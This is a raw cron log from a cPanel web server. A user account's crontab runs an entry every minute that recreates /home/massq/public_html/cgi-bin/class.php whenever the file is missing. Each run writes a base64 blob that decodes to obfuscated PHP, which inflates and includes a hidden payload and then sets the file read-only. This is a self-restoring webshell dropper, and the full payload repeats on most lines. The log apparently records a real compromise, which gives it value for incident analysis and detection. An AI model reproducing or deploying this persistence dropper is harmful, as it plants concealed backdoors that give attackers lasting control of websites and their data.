Apr  8 13:49:01 server CROND[29626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:50:01 server CROND[29793]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 13:50:01 server CROND[29795]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 13:50:01 server CROND[29796]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 13:50:01 server CROND[29797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:50:01 server CROND[29802]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 13:51:01 server CROND[29927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:52:01 server CROND[30019]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:53:01 server CROND[30095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:54:01 server CROND[30168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:55:01 server CROND[30342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:55:01 server CROND[30343]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 13:55:01 server CROND[30344]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 13:56:01 server CROND[30478]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:57:01 server CROND[30572]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 13:57:01 server CROND[30574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:58:01 server CROND[30651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 13:59:01 server CROND[30727]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:00:01 server CROND[30906]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 14:00:01 server CROND[30908]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 14:00:01 server CROND[30909]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  8 14:00:01 server CROND[30910]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 14:00:01 server CROND[30911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:01:01 server CROND[31064]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 14:01:01 server CROND[31065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 14:01:01 server run-parts(/etc/cron.hourly)[31064]: starting 0anacron
Apr  8 14:01:01 server run-parts(/etc/cron.hourly)[31077]: finished 0anacron
Apr  8 14:02:01 server CROND[31162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMR